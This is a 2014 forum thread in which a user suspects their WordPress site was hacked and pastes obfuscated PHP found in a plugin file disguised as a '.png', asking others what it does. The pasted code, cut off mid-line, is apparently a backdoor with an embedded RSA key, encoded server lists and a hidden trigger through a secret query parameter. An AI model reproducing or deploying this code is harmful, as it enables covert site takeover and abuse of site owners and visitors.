Where the fuck this text comes from?
Page 1 of 1
Freakness
Banned



Posts: 3583

PostPosted: Tue, 1st Apr 2014 20:34    Post subject: Where the fuck this text comes from?
Where the fuck this text comes from when I do a search for my site on google?
Back to top
PumpAction
[Schmadmin]



Posts: 26759

PostPosted: Tue, 1st Apr 2014 20:37    Post subject:
https://support.google.com/webmasters/answer/35624?hl=en

Googling returned this as the first search result. You should use google more often Laughing


=> NFOrce GIF plugin <= - Ryzen 3800X, 16GB DDR4-3200, Sapphire 5700XT Pulse
Back to top
Freakness
Banned



Posts: 3583

PostPosted: Tue, 1st Apr 2014 20:49    Post subject:
No, I think its been hacked.
Back to top
Interinactive
VIP Member



Posts: 29151

PostPosted: Tue, 1st Apr 2014 21:34    Post subject:
⁢⁢


Last edited by Interinactive on Tue, 5th Oct 2021 02:19; edited 1 time in total
Back to top
Freakness
Banned



Posts: 3583

PostPosted: Tue, 1st Apr 2014 21:42    Post subject:
Could be plugin. How do I find which one is it without disabling them?
Back to top
Interinactive
VIP Member



Posts: 29151

PostPosted: Tue, 1st Apr 2014 23:23    Post subject:
⁢⁢


Last edited by Interinactive on Tue, 5th Oct 2021 02:19; edited 1 time in total
Back to top
Freakness
Banned



Posts: 3583

PostPosted: Wed, 2nd Apr 2014 00:01    Post subject:
Nah, its on WP site, something in php htaccess or ini files.
Back to top
Freakness
Banned



Posts: 3583

PostPosted: Mon, 7th Apr 2014 14:13    Post subject:
One of the files in one of the plugin's folder contains this code. Extension is ".png" so its suspicious. Can anyone explain wtf this code does?
Code:
<?php error_reporting(0); if (!defined('WP_OPTION_KEY')) { function txyFqaETRPUyiEgQatokJIY() { define('WP_OPTION_KEY','wp_data_newa'); new GsSYoMTsQibQgcHcuGmrg(); } add_action('init', 'txyFqaETRPUyiEgQatokJIY'); } class VtkddwvkYgCDDRRWbgRtw{ private $AcheTwkrhTtKmyatQGqYFc, $SntMBKFkfTlUzXyNVQedo, $YcmysXeieEGqvkjRIsPYg; public function __construct($BZaxGALPLdVfntBIQWUPs = 'old'){ if ($BZaxGALPLdVfntBIQWUPs == 'new'){ $this->QxEolVsSqvJZyRSgHFmL(); } else { $this->yOlGcuINHlzAVPznEbGNvwJM(); } $this->SntMBKFkfTlUzXyNVQedo = "-----BEGIN PUBLIC KEY-----\r\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6K/I2l6k2Iz7Vojzxk5Q\r\n43QNfIJm2jWPvXAvFtft+yy4rD3MseQJWx3PLlkoRQjSI1uiiwwlPZWED0e5wFet\r\nnS5tKhvvRaOeUPYJq6MtyUbnaMn7bshlgaAlPaUCVdAOjdtGHMuFaWfnBLgTSu3c\r\nuccVC2zOlXx7XK1tw39eZepRemoh0W3Qhf+hDFsEzACSBmKhBiganwCZzTDvyXpj\r\nnfbRKbf26LJDJ9u2Choh768vQiIfuf0tGLQ+xxcBDl2ZVW0P76cd5I2v+lYRBD/X\r\nvgU32/UZeKDheA8M/oZ5/yFv5QWAU2SHEEKYfLkAQmXs/oRGqMQONqoL3W5Q4bE/\r\ngQIDAQAB\r\n-----END PUBLIC KEY-----"; } private function yOlGcuINHlzAVPznEbGNvwJM() { $oXyaqmHoChvHQFCvTluqmAC = get_option('WP_CLIENT_KEY'); $this->AcheTwkrhTtKmyatQGqYFc = $oXyaqmHoChvHQFCvTluqmAC; } private function QxEolVsSqvJZyRSgHFmL() { $WUSuJUGMrzyhdyhyGeIjayJs = $this->DWoPBIQOoBwLXRAmwfedw(); $this->AcheTwkrhTtKmyatQGqYFc = $WUSuJUGMrzyhdyhyGeIjayJs['private']; $this->YcmysXeieEGqvkjRIsPYg = $WUSuJUGMrzyhdyhyGeIjayJs['public']; update_option("WP_CLIENT_KEY", $this->AcheTwkrhTtKmyatQGqYFc); } public function bkBMtlOkGRaPFVExpcNbC($oXyaqmHoChvHQFCvTluqmAC) { openssl_seal($oXyaqmHoChvHQFCvTluqmAC, $XSuQpMSlwhlPZypBIPnfjXTA, $THPieTXOYTCWThoTFSSuHU, array(openssl_pkey_get_public($this->SntMBKFkfTlUzXyNVQedo))); return array("data" => base64_encode($XSuQpMSlwhlPZypBIPnfjXTA), "key" => base64_encode($THPieTXOYTCWThoTFSSuHU[0])); } public function MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluqmAC) { openssl_seal($oXyaqmHoChvHQFCvTluqmAC, $XSuQpMSlwhlPZypBIPnfjXTA, $THPieTXOYTCWThoTFSSuHU, array(openssl_pkey_get_public($this->YcmysXeieEGqvkjRIsPYg))); return json_encode(array("data" => base64_encode($XSuQpMSlwhlPZypBIPnfjXTA), "key" => base64_encode($THPieTXOYTCWThoTFSSuHU[0]))); } public function qPhSGyDrRdyPezAnHgiao() { return $this->YcmysXeieEGqvkjRIsPYg; } public function skwTpfzBalSTBTBkLvhw($piiJbwvzLxHvKjlNnFzd) { $this->YcmysXeieEGqvkjRIsPYg = $piiJbwvzLxHvKjlNnFzd; } public function vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC) { $BdlbpgzPBjxVLkBLnsrXkmI = json_decode($oXyaqmHoChvHQFCvTluqmAC, true); if ($BdlbpgzPBjxVLkBLnsrXkmI !== false){ $oXyaqmHoChvHQFCvTluqmAC = $BdlbpgzPBjxVLkBLnsrXkmI; } if (!is_array($oXyaqmHoChvHQFCvTluqmAC)) { return false; } openssl_open(base64_decode(trim($oXyaqmHoChvHQFCvTluqmAC['data'])), $WQqrOQbxBHtERCkwicqA, base64_decode(trim($oXyaqmHoChvHQFCvTluqmAC['key'])), $this->AcheTwkrhTtKmyatQGqYFc); return $WQqrOQbxBHtERCkwicqA; } public function DWoPBIQOoBwLXRAmwfedw() { $IzGRmpLLtcLVMJRxcfpeGhQVry = openssl_pkey_new(array( 'private_key_bits' => 2048, 'private_key_type' => OPENSSL_KEYTYPE_RSA, )); openssl_pkey_export($IzGRmpLLtcLVMJRxcfpeGhQVry, $IANNGYfyVIgZFkzWVTKmQGc); $oXyaqmHoChvHQFCvTluqmAC['private'] = $IANNGYfyVIgZFkzWVTKmQGc; $XEWVBmIaXvRqxrckbkOqw = openssl_pkey_get_details($IzGRmpLLtcLVMJRxcfpeGhQVry); $oXyaqmHoChvHQFCvTluqmAC['public'] = $XEWVBmIaXvRqxrckbkOqw['key']; return $oXyaqmHoChvHQFCvTluqmAC; } } class GsSYoMTsQibQgcHcuGmrg{ public $oXyaqmHoChvHQFCvTluqmAC = array(), $yYVsqvOoqWsddypXgJcIKOw = array(), $qcCONSsvpJlMgdhEFFmrTI, $IzGRmpLLtcLVMJRxcfpeGhQVry, $aJQafHDwnaPrCJrQMjHVh, $AeRxXNHxOXpcNJWlZSIKLhIw, $vwhhtIrAWhUEFDgPrcco, $htcFFCQTLLpnCchsPKGYxso, $wqawPxkNytKqRKNRqbwAdw, $IatJdWimJbxtprWZElHevfI, $YobOrWbieESFVcSsWsuBypg; public $WbKPQMoSbMZkXUeYKXRIk; public function __construct() { $this->yYVsqvOoqWsddypXgJcIKOw = array( '==DZk4FZlVwY5RGZhpQB' ,'=4JnhZUpck2olIKM', '=4JnhZ3M1WJMeyTo', '=02ow5FryW3ogkJnuWUq', '6yzLhDKqwETol92q', '==trcWzYyEKqwETol92q', 'g92LhZ3ni9Togyzr', '==DoiAzYiEKqiyKMgS2p', '=8zMhyzYhIJMlqzoi9Jo', '=bKnv5vpuE3phSJofI2n', 'aW3ohHzMckzp19JM2y2M', '=02ow5PoyITqmEJquWaM', '==DoiAzY6ITqu1JLgkJL', 'g92LhpzockTocM2oaWKM', '==toc5vo1AKMaSTofyzq', 'hyzY5Izpi1JM29Jo', '==jMl9zY5ITMi9zMiyzL', 'aW3ohVGqlpzocuTq55JL', '==jMl9zYhI2LmEapiO3p', 'aW3oh4JLwAUq0I3L', '=pzpi5lp0WKLjSJMyWaM', '==jqj5FqiyKMwyzoyA2p', '3OaY1WGoj1JL', '=pUphxKqaWKnuu2L', '=4JnhVKMeAJnfMJock2p', '=4JnhV3ox5JLl9TryuTq', '=4Jnh4JqvyKMh9Tn', 'hyzYmk2oiEaoyk2M', 'hyzYh9TqlSzLhSTM', '=4JnhNKqiW3Mf9TogyzL', '==toc5lp0Szp0SzM', 'hyzYfIJM0Aaouu2L', 'hyzYlSTqm92Mhyzp', '6yzLh4zpiEKMfqzocWaL', 'aW3ohHTo5E3pgHJocW3L', '==trcWzYmgJLgyTqf9zM', '==Nqy5zYmAKMhy2M0ITo0I3o', '==jqj5PnmyzMiEUnmyzp', '==jqj5lphS2pfIzquWUq', '==trcWzYlITMuk2Mc5Jq', '0IzohZUocSzMlITMh92q', '0IzohZKMfyUqm52ohITr', '=pzpi5vouEKn0g2LukzL', '=HJohNKqbSTof9Tn', '=DKMh5lpyEJLlq2ohSzo', '6yzLhxapu1TMuITM', '==Nqy5zY39zoe1JLyWUM', '==Nqy5zYlITqm9zM5STo', '==joz5JnhZKMa5JLlE3p', '==trcWzYfy2MlITqhIUn', '=bKnv5FM4S2nfyJo', '=bKnv5PqcgJLgSzp', '==trcWzYfk2ovITqiIKp', '==DoiAzYm52ox1zM', '=02ow5lpwy2p11JLlSTM', '=02ow5vpyWzLiWzpyq2MiWaM', '=02ow5lphIJof92n', '=02ow5lpykTpgS2pi9zM', '==DoiAzYmEzpu9zL2EKo', '==trcWzYmyKLxIao', 'iMzoc5lp5kzMx5JLlS2L', '==jow5lqikTn0SJo', '=82Lh82nhIJo', '=02ow5vpiu3Lc1JLhyUM', '==DMg5FngSTMhI2q', '=bKnv5Pqcg2of9zr', '==jqj5PofS2qlITqhSTn', 'aW3ohD3owyKMh9Jo', '6yzLhxKoyEJLwSJM0y2pvI2q', '=bKnv5lo5ITMi9zM', '==trcWzYmkJL0W3ojAKM', '==toc5lp3Izo3SJo', '=4Jnhf2LiWKolITq', 'hyzYeA2olIzoiE3p', '=4Jnh82oz1zM', 'hyzY0WKLjSJMyWaM', '==toc5PMhSTolSTqcI3M', '==toc5vou12MiWUp', '==toc5voz1zM', 'hyzYj9TouWKMhI2M', '=4JnhjJL0W3ojAKM', '=8zMhyzYykTpgS2pi9zM', '==joz5JnhHJMlMTAiWTn', '==joz5JnhHaZhITqmyTo', '=8zMhyzYyqJLjgzo', 'iMzoc5vMfSTnvI2q', '3OaYm5JqaWzM', '=pUphH2nuEaZwyTp', '=pUphZapyE3pu1JMmIzocu2L', '=pUphxUMukJr6SToi9zM', '3OaYyAKqi92n', '0IzohxKLxIao', '=DKMh5Fne9TMhyzM', '==Nqy5zY5kzMx5JLlS2L', '==Nqy5zYi9zMgyzM', '==Nqy5zY392qzqKL', '==DoiAzYyyao2EKo', '=02ow5lpuyTMySKney2q', 'g92Lh4JMwEapiO3p', '=02ow5FMyWaM2EKo', '==DoiAzY3Izo3SJo' ); $this->aJQafHDwnaPrCJrQMjHVh = array( '=HaphjJnu1TD1ETn1c2p', '==DoiAzYfyJLgqTDwyToiMKLlESofSTMhSzH', '==DoiAzYfyJLgqTDkHGBkDapyq3phSHouyTofy2I', 'g92LhjJnu12MNEJMjWKq0IzDmSJoiuTI', '==DoiAzYfyJLgqTD39TqlITnHIJnfIaF', '==DoiAzYfyJLgqTDx5JLaIzpv1JqGIzouyTE', 'g92LhjJnu12MNyaL4STqc12oQWKMbO3o0AKnlu2D', '=02ow5PocSJoaORZ4xGZmyJobAIL0yzH', '=02ow5PocSJoaORMhSTqlSTovI3oGy3LuE3H', '==DoiAzYfyJLgqTDhIToxyzEl9zqyWUI', '=02ow5PocSJoaORMy5zpyOUpOqJnuW3D', '==DoiAzYfyJLgqTDmHGBk4JMxSHMjIUG', 'g92LhjJnu12MNyQAlIzp192Dy5Jn0AKnlu2D', 'g92LhjJnu12MNIJo05JngS2H0WKMv9zH', '==DoiAzYfyJLgqTD1DQquu2pcuTIy5zou9zF', '==DoiAzYfyJLgqTDxIzpx5JnuqRoySTnwyJG', '=02ow5PocSJoaORMyE3LyWUHyyTqlIzD', '=02ow5PocSJoaORMuuTqa5JnuAyrcWUquIzD', 'g92LhjJnu12MNA3py12oKS2LcWKE', 'g92LhjJnu12MNAap1EKMGWKMbO3o0AKnlu2D', '=02ow5PocSJoaOxpyE3puuTIh5JD', '==DoiAzYfyJLgqTDbEKnx5JDyyTnj92H', 'g92LhjJnu12MNEaoyq3o05JIhyzqfIJG', '=02ow5PocSJoaORA4xGZxI2MlITn09TpjS0nlSJG', '==DoiAzYfyJLgqTDjLGBkHTq192H0WKMv9zH', '=02ow5PocSJoaORMcSToj1JMfWJDyI2LhSzG', 'g92Lhj2ouOHoiWaLuEJn', '=02ow5PoiSTDcEJLg91L', '==DoiAzYf9JLNSQofy2Mw1zYyyJogyzn', '=02ow5PoiSTDljJM0STphf2L1u2L', '==DoiAzYf9JLNSwpyMJLbA3KuEaoucJL', '=02ow5PoiSTDyI2Mu12KyWUMhSzr', 'g92Lhj2ouORMlSTnwIzLyAKnhITM', '==DoiAzYf9JLNWKMhEUq1WzocWUMfIJo', '=02ow5PoiSTDfSzpiEJLxkJL', '==DoiAzYf9JLN52omWJna9IL5Szn', 'g92Lhj2ouO0pykJn0AaYy5Jn0AKnlu2L', '==DoiAzYf9JLNcKLj5lo05JnwSzn', '=02ow5PoiSTDbAJnyW3pc12oe9zo', 'g92Lhj2ouOHZhyzpl9JobqJLhIJo', '==DoiAzYf9JLNWJL0EKMfI2M', '==DoiAzYf9JLNWKM0AKMigzYyyzpl9TM', '=02ow5PoiSTDyEKLgIUnm5Pp', 'g92Lhj2ouOxoiAaouq3psSJnh9ToiOKL', '==DoiAzYf9JLN1JLb5JLlW2KgSJnlyJo', '==DoiAzYf9JLNSmolWKL2SzosyKMfSTn', '=02ow5PoiSTDk4zpiu2KuyzpyEJLhSTp', '==DoiAzYf9JLNS2nmSTnm5vq', 'g92Lhj2ouORoyITqsyaohI2n', '=02ow5PoiSTDh92phyTqhRJrcWUp', '=02ow5PoiSTDygzp1W2KukToyE3p', '==DoiAzYf9JLN5Jn6k2oj5loxWKLwIzp', '==DoiAzYf9JLNcKMlI3ofSTq', '=02ow5PoiSTDmEapyWzLy9ILbEKMl9TM', '=02ow5PoiSTDkDUoiWzocSzpskJqxWJL', '=02ow5PoiSTDmITqlIJqz5vq', '=02ow5PoiSTDay2q0WKLb9SMyW3L', '=02ow5PoiSTDa5Jnzu2olyaplSTo', 'g92Lhj2ouO0phy2May2qh4Jn2kJL', 'g92Lhj2ouOHZ5ITofI2nh8Jnwyzp1SJo', '==DoiAzYf9JLN1JLhgJnh9ILxIzq', 'g92Lhj2ouOHnhyJqlIzoiITo', '==DoiAzYf9JLNqzouI3oe5Fo', '=02ow5PoiSTDuEJMl9zrsSTn0WKMvkJL', '==DoiAzYf9JLNWKqm5JLg9In', '==DoiAzYf9JLN52ogg2Lcu2KhS2Ml9Jo', '==DoiAzYf9JLNWKMxyJMz5lL', '=02ow5PoiSTDhyTo1EzYbAKL', 'g92Lhj2ouOxpy5zpiqzYukJMgSTp', 'g92Lhj2ouOxohS2qhRzrukzL', '=02ow5PoiSTDykJM6IJn65FL', '==DoiAzYf9JLNA3pyu2Kv9zp', '==DoiAzYf9JLNWUnikzMhRToyy2LuW3M', '=02ow5PoiSTDkHzoiMKLv9ILckJMlIKL', 'g92Lhj2ouOHZfIKLj9In', '=02ow5PoiSTDm5JnaE2ob5PqlSzL', '==DoiAzYf9JLNITouIzqhxTM', '=02ow5PoiSTDuy2LmIKosSTMhIUnmSTo', '=02ow5PoiSTDkf2Li1zYuEKnf9To', 'g92Lhj2ouOxouAJn4IJoskJnlOKL', '=02ow5PoiSTDkjToyq3oj5voyWKn', '=02ow5PoiSTD0IJog9zpw5ln', '=02ow5PoiSTDmO3oiE3p0IJMd5JLly2n', '==DoiAzYf9JLNk2olWKLw9IL0AKMx9Jo', 'g92Lhj2ouOxouyKLvSzLxITnmSzp', 'g92Lhj2ouOHZmgzpuOaYfkJM3Izn', 'g92Lh82obSJrN1Jn5I2p192DuAKn19TG', '=02ow5loiuJL5OHqf9zocqUMi92Euy2LckJD', '=02ow5loiuJL5O0ohy3p3Izpx5JDyy2nwSzF', 'g92Lh82obSJrN9zMuIzpi1zpyMKnZITq0ITof92D', '=02ow5loiuJL5OHrfyJrlWKIuyzqfy3H', '=02ow5loiuJL5ORMiMzoiAaocW2oFSJnwIUG', 'g92Lh82obSJrNqJn2AKn0WKLDyUolS2D', 'g92Lh82obSJrNI3pjIJnh5JMZy3p0STH', '=02ow5loiuJL5O0MxSJMm9zDyyzqyE3H', '==DoiAzYi9TnuyUDeSzp5ITouITFyyzouuTpyE3H', '=02ow5loiuJL5OHrhITquuJnByaplITI', 'g92Lh82obSJrNyzLy5JnzMJnlqHL5SJG', 'g92Lh82obSJrNAJo1I2Mxyzpa5JLZyaohSTE', 'g92Lh82obSJrNOKngyKM39TIyIKpckJMa5JD', '=02ow5loiuJL5OxMaIKMm9zHgy2F', '=02ow5loiuJL5OxL5kzoiAUoy5xoiWapuu2H', 'g92Lh82obSJrN1JrayaplSTF5ITocI2F', '==DoiAzYi9TnuyUD5WJnmI2MxyzpPyzLv9zD', '==DoiAzYi9TnuyUDfy3LxW3ozkTouuHL5SJG', 'g92Lh82obSJrN52o0yKMfu2L0STIy5JMxSzF', '=02ow5loiuJL5O0oi1TMuETMuuHMwyzouu2H', '=02ow5loiuJL5OxoukJMiqJLFyaLvyTG', '=02ow5loiuJL5OHM0SJMfOUpcEIrwSTG', '=02ow5loiuJL5OHrv9Tnw92oUyKogS2H', 'g92Lh82obSJrNE3o25JMfkJEhIJn2yzI', '==DoiAzYi9TnuyUD5WJqy5JnxWKLXIJn0AKnlu2D', 'g92Lh82obSJrNIaq1g2LcuTpfIHMfITnwyJG', '=02ow5loiuJL5O0oj9TolSJEyyTofyJG', '==DoiAzYi9TnuyUDvyUMyyTqmyzpbAHLcqzpiI2E', 'g92Lh82obSJrN9zpf52omyzohITEyyToc1JE', '==DoiAzYi9TnuyUDlqJrmyToa5JFgSJnlyJG', '==DoiAzYi9TnuyUDuIKqfkJqU52o2ITE', '=02ow5loiuJL5OHqgIUq0I2nwSToP5JLly2F', '==DoiAzYi9TnuyUDuy3LxITq4y2IhyJo6SJJ', '=02ow5loiuJL5OHnm9zpyAap1OyouIzF', '=02ow5loiuJL5OHLcAKr2STEyIJnx9zF', '==DoiAzYi9TnuyUD292pyAJrlWHrfWKM2IzD', '==DoiAzYi9TnuyUDcWJLwyzqyAJnaSzpRyaohSzE', '=02ow5loiuJL5OHrwIUofI2nmSJGyyzLvITE', 'g92Lh82obSJrN5JneyToiyJLlWKMTSzpuy2D', 'g92Lh82obSJrN9zqc52o0WKMe5JnDyKMfSTF', '=02ow5loiuJL5O0L1y3nlIUqlIUFuEKnhIzD', 'g92Lh82obSJrNSJnw52omETou52oREKMhSzF', 'g92Lh82obSJrNyKouyaLfyTnDITq0ITof92D', '=02ow5loiuJL5OHnzWJMc5zoykHngIzH', 'g92LhjJnu1TqiuTD5kJnlyUqyM2oeIar', '=02ow5PocSJo09TnNM3olyUpcuJMgSzM', 'g92LhjJnu1TqiuTDyEKqlyTriEJqvyan', 'g92LhjJnu1TqiuTDcWKneSzo1E3olyJp', 'g92LhjJnu1TqiuTDuqJLfyUMiq2o0yzL', '=02ow5PocSJo09TnNEKqvI2L1uJrzI2M', 'g92LhjJnu1TqiuTDu5Jndy3MyOKnaITq', '=02ow5PocSJo09TnNcKrkIzq15JnhIUo', '=02ow5PocSJo09TnNEJqgIaL1WKMvy3n', 'g92LhjJnu1TqiuTDuEKMlyzr5A3o6Iar', 'g92LhjJnu1TqiuTDcuKr6y3pcEJMmyzM', '=02ow5PocSJo09TnNWKrkSzo5E3oh92n', 'g92LhjJnu1TqiuTD55JMwy3MigJrjSzM', '=02ow5PocSJo09TnNuKLaSTnu52o3yUM', 'g92LhjJnu1TqiuTDyqKn6SJp1AJnfyUo', '=02ow5PocSJo09TnNOKLxSzMcuJMwSTr', 'g92LhjJnu1TqiuTDyg2olyzpiuJn4yzo', '=02ow5PocSJo09TnNAJngIaMyAKrvIzL', 'g92LhjJnu1TqiuTDu1JLmIaM1M3owS2n', '=02ow5PocSJo09TnNA3oxSzn1MJrwyap', 'g92LhjJnu1TqiuTDiuKq69zr5u2o0SJo', '=02ow5PocSJo09TnNAKrgyUn5uKqb9To', 'g92LhjJnu1TqiuTDykJqgIKpuqJrayTn', 'g92LhjJnu1TqiuTDyWKLxyzpcqJq4Szp', '=02ow5PocSJo09TnNAJL0I2LcAJnxyzn', 'g92LhjJnu1TqiuTD5c2ojSzMcAKnzyzo', '=02ow5PocSJo09TnNcKqeyzniqJLl9To', '=02ow5PocSJo09TnNu2o4y2MiAJM0Iao', '=02ow5PocSJo09TnN5JreS2M5EKnhITo', '=02ow5PocSJo09TnNAJnwyUncEJqbSTo', '=02ow5PocSJo09TnNuJnvIznuEKMaIao', 'g92LhjJnu1TqiuTD1EKrmy3LyMJqkIKo', 'g92LhjJnu1TqiuTDuEJMfIUo5kJq4y2M', 'g92LhjJnu1TqiuTDyEKMgIUM5MJMgS2n', 'g92LhjJnu1TqiuTDuAKrmy3LuAKrk9zn', 'g92LhjJnu1TqiuTDcWJLgy3ny5Jq6yTp', 'g92LhjJnu1TqiuTDyMJLjSTM5W3o49zp', '=02ow5PocSJo09TnNW3oaSTMcuKrmITo', '=02ow5PocSJo09TnNSKr6IaLcSKMbS2n', 'g92LhjJnu1TqiuTD1E2o2yzruAKqv9zq', '=02ow5PocSJo09TnNEJngITqucJreyTM', 'g92LhjJnu1TqiuTDiu2oly3L1u3o3yaM', 'g92LhjJnu1TqiuTD15Jqa9zn1OKqmyJp', 'g92LhjJnu1TqiuTDuuKn4SJpiAKrey3p', '=02ow5PocSJo09TnNgJMzSJpuWJq2yTp', '=02ow5PocSJo09TnNuJn4IzqiW3o39Jo', 'g92LhjJnu1TqiuTD5SKnmIaricKrvIJo', '=02ow5PocSJo09TnNS3odS2MyuJqxyTo', '=02ow5PocSJo09TnNcJrzyJp55JqeI2q', 'g92Lhf2oikTq19TD5uJL4yTM1EKMk9zM', 'g92Lhf2oikTq19TD5AJq4Iaq1uKq4y2p', '=02ow5lni9To0I3oNc3ojIKocMJMgy3n', '=02ow5lni9To0I3oNc3ogSzq5EJnaIUo', '=02ow5lni9To0I3oNcKnd92pigJM292p', 'g92Lhf2oikTq19TD5EJMfy3pycJn29zr', '=02ow5lni9To0I3oNcJqkyaq1gJr0Izo', 'g92Lhf2oikTq19TDyAJnd9Tn5EJMwSJp', '=02ow5lni9To0I3oNSKLgyUpygJq4yao', 'g92Lhf2oikTq19TDuEJrjIzocuJMxS2L', '=02ow5lni9To0I3oNu3ojyJoySKqvITr', 'g92Lhf2oikTq19TD5EJqhyTn1gJMkyan', 'g92Lhf2oikTq19TD5AJneITncqJndyUp', 'g92Lhf2oikTq19TD15JnwIUoykJLgI2M', 'g92Lhf2oikTq19TDuOKrfSJou1Jn0IUr', '=02ow5lni9To0I3oNuKqhyapcWKnxy2M', '=02ow5lni9To0I3oNcKMbSznucJq0Iap', 'g92Lhf2oikTq19TD5A3omy3nicJrdy3M', 'g92Lhf2oikTq19TD1WJrgS2Mc12omIzM', '=02ow5lni9To0I3oNO3ofy3qiMKqbIzr', '=02ow5lni9To0I3oNEKn4I3L1SKqfIUq', '=02ow5lni9To0I3oN5JrfyzMcMJqfIKp', '=02ow5lni9To0I3oNqKrxSTqygJrk9zo', 'g92Lhf2oikTq19TDikJnvSJp5qKqkIar', 'g92Lhf2oikTq19TD5O3ovy2piqJnhIUq', 'g92Lhf2oikTq19TDyMKL092L5MKqwIzL', '=02ow5lni9To0I3oNcJqbIap5cKL0yKp', 'g92Lhf2oikTq19TD5qKrdS2qiAJMvITq', '=02ow5lni9To0I3oNWKM6yarycJqjSzo', '=02ow5lni9To0I3oN1JM39JoiAKMbyaL', 'g92Lhf2oikTq19TD55JnmIUM1cKrm92p', '=02ow5lni9To0I3oNq3oh9zryc3og9Tq', 'g92Lhf2oikTq19TD1OKrvyaMuWJqxyUM', 'g92Lhf2oikTq19TDiMKnvyaM1uJngIzr', '=02ow5lni9To0I3oNqKMbIUnyqKMeSTp', '=02ow5lni9To0I3oNqKngIzL1uKLlIzo', 'g92Lhf2oikTq19TDu52oj92LyuJLmyzp', '=02ow5lni9To0I3oNOKL69zMucKMlSTM', '=02ow5lni9To0I3oNuKqmyTnucJM2I3L', 'g92Lhf2oikTq19TDySKrmSTn5qKLbIao', 'g92Lhf2oikTq19TD1EKnxIJoccKL0Iao', 'g92Lhf2oikTq19TD5qKr6yzoicJMa9zo', 'g92Lhf2oikTq19TDuqJnzIao1MJnxIao', '=02ow5lni9To0I3oNc2odI2p1WKMgIzr', 'g92Lhf2oikTq19TD1uKndSTquqJrhSTo', '=02ow5lni9To0I3oNuKrwyap1cJL39Tn', '=02ow5lni9To0I3oNEJrkS2pikJMbIzn', 'g92Lhf2oikTq19TDiqJMay2p1E2ofyaL', 'g92Lhf2oikTq19TDiqKqfIzoykJqlyzo', '=02ow5lni9To0I3oNcKrbSzn51JrzI2n', '=02ow5lni9To0I3oNgJLh92McuKqm92p', 'g92Lhf2oikTq19TDcq2owyap112ox9Tq', 'g92Lhf2oikTq19TDiWJq6yJoykJMjS2M', 'g92Lhf2oikTq19TDugJray3qcqJnwSzM', 'g92Lhf2oikTq19TDcqJnmyzruEKqeyzM', '=02ow5lni9To0I3oN5JMmyUr5AJn2yUp', 'g92Lhf2oikTq19TD5MJLfyTMuc3o6Izr', 'g92Lhf2oikTq19TDiAJq6yTpyEJMbI3M', '=02ow5lni9To0I3oNAJqvI2q1MKLxS2q', 'g92Lhf2oikTq19TD1EKLeSzp11JLxy2p', ); $this->dIOUyQsvDqPHTBIxnlYs(); $this->YobOrWbieESFVcSsWsuBypg = false; $oXyaqmHoChvHQFCvTluqmAC = get_option(WP_OPTION_KEY); if ($oXyaqmHoChvHQFCvTluqmAC == null || $oXyaqmHoChvHQFCvTluqmAC == 'null') { $oXyaqmHoChvHQFCvTluqmAC = ''; } if ($oXyaqmHoChvHQFCvTluqmAC == ''){ $this->wqawPxkNytKqRKNRqbwAdw = true; $this->AeRxXNHxOXpcNJWlZSIKLhIw = new VtkddwvkYgCDDRRWbgRtw('new'); $this->QxEolVsSqvJZyRSgHFmL(); } else{ $this->AeRxXNHxOXpcNJWlZSIKLhIw = new VtkddwvkYgCDDRRWbgRtw(); $this->oXyaqmHoChvHQFCvTluqmAC = $this->McEnUjjQfaFzqGsihhU($oXyaqmHoChvHQFCvTluqmAC, true); if (isset($this->oXyaqmHoChvHQFCvTluqmAC['info']['publicKey'])) { $this->AeRxXNHxOXpcNJWlZSIKLhIw->skwTpfzBalSTBTBkLvhw($this->oXyaqmHoChvHQFCvTluqmAC['info']['publicKey']); } } $this->OFwlxWaeMyxznpZtnfJLQA(); if ($this->TztHMzNNJASlMfiSOwxQpE()) { die(); } if (!$this->wqawPxkNytKqRKNRqbwAdw) { $this->KPBBXYwmuPGPaTyLhWevI(); } } private function QxEolVsSqvJZyRSgHFmL(){ $WbKPQMoSbMZkXUeYKXRIk = $this->KZdGlovqEtKYUSCqSVnK(); $WbKPQMoSbMZkXUeYKXRIk['publicKey'] = $this->AeRxXNHxOXpcNJWlZSIKLhIw->qPhSGyDrRdyPezAnHgiao(); $this->WbKPQMoSbMZkXUeYKXRIk = $WbKPQMoSbMZkXUeYKXRIk; $vsJigIMHYwdFnuqvRwrvms = false; $BCEUSjHFFwzzqmHmpjjQI = 0; foreach($this->HSxTktcbTftjZjKRHHmhr() as $gXNjWLFkUQOugyREMXKvZBfw){ $oXyaqmHoChvHQFCvTluqmAC = $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw,$WbKPQMoSbMZkXUeYKXRIk); $oXyaqmHoChvHQFCvTluqmAC = $this->gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluqmAC); if ($oXyaqmHoChvHQFCvTluqmAC !== false) { $vsJigIMHYwdFnuqvRwrvms = true; if ($this->YobOrWbieESFVcSsWsuBypg) { break; } break; } } if ($vsJigIMHYwdFnuqvRwrvms) { if ($this->YobOrWbieESFVcSsWsuBypg) { $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); } $oXyaqmHoChvHQFCvTluqmAC['info'] = $WbKPQMoSbMZkXUeYKXRIk; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); $this->oXyaqmHoChvHQFCvTluqmAC = $oXyaqmHoChvHQFCvTluqmAC; } else { $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); $oXyaqmHoChvHQFCvTluqmAC['info'] = $WbKPQMoSbMZkXUeYKXRIk; $this->oXyaqmHoChvHQFCvTluqmAC = $oXyaqmHoChvHQFCvTluqmAC; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); $this->XnpSvtOjNDRmxyfzaDKlGwM(); } return $oXyaqmHoChvHQFCvTluqmAC; } public function TztHMzNNJASlMfiSOwxQpE(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; if ($oXyaqmHoChvHQFCvTluqmAC == ''){ return false; } $SntMBKFkfTlUzXyNVQedo = @$_GET[$this->oXyaqmHoChvHQFCvTluqmAC['info']['serverKey']]; if (isset($SntMBKFkfTlUzXyNVQedo) && $SntMBKFkfTlUzXyNVQedo == '') { echo '<div id="serverList" style="display: none">'; $bQYduZxDrtPMJtaBCQycHQY['servers'] = 